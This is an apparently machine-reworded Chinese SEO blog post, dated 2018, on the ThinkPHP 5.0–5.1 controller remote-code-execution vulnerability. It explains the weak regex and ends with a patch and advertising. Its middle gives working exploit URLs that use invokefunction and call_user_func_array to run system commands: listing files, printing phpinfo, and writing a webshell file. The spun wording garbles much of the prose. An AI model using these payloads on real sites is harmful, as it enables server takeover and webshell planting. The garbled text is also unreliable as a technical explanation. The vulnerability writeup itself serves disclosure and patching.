正信 > 网站优化

thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell

发布时间:2018/12/22 发布人:管理员


THINKPHP裂痕修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了进级,以及补丁更新,此次更新主若是进行了一些裂痕修复,最严重的就是之前存在的SQL注入裂痕,以及远程代码执行查询系统的裂痕都进行了修复,官方本觉得没有问题了,可是在现实的平安检测傍边发现,仍是存在问题,仍是可以远程代码进行注入,插入犯警字符,提交各处事器后端中去。

关于此次发现的oday裂痕,我们来看下官方之前更新的代码文件是怎么样的,更新的轨范文件路径是library文件夹下的think目录里的app.php,如下图:

裂痕发生的原因就在于这个节制器这里,整个thinkphp框架里的功能对节制器没有进行严酷的平安过滤于搜检,使抨击袭击者可以伪造恶意参数进行强制插入,最根柢的原因就是正则的表达式写的欠好,导致可以绕过。

在controller获取节制器后,直接进行赋值,可是并没有对节制器的名进行严酷的检测,导致可以使用斜杠等非凡符号来远程代码注入。

我们来搭建一下网站的情形,apache+mysql+Linux centos系统,搭建好的测试情形地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造抨击袭击参数,示例如下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

青岛网站优化直接get体例提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

经由过程该裂痕也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看获得,机关如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人可能会问了,既然都可以phpinfo,查询目录文件,可不成以getshell写网站木马文件到网站里呢? 谜底是可以的,我们测试的时辰是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

青岛网站优化关于此次thinkphp的裂痕操作以及剖析到此就竣事了,该裂痕属于高危裂痕,风险严重性较年夜,良多进级更新补丁的网站城市受到抨击袭击,甚至有些网站会被挂马,那么该若何修复thinkphp的裂痕呢?替代之前的正轨则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的裂痕进行修复,或者是对网站平安防护参数进行从头设置,使他合适那时的网站情形。若是不懂若何修复网站裂痕,也可以找专业的网站平安公司来措置,国内如Sinesafe和绿盟、启明星辰等平安公司斗劲专业.

针对于这个情形,我们要对其library/think/App.php代码里的正轨则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

微信咨询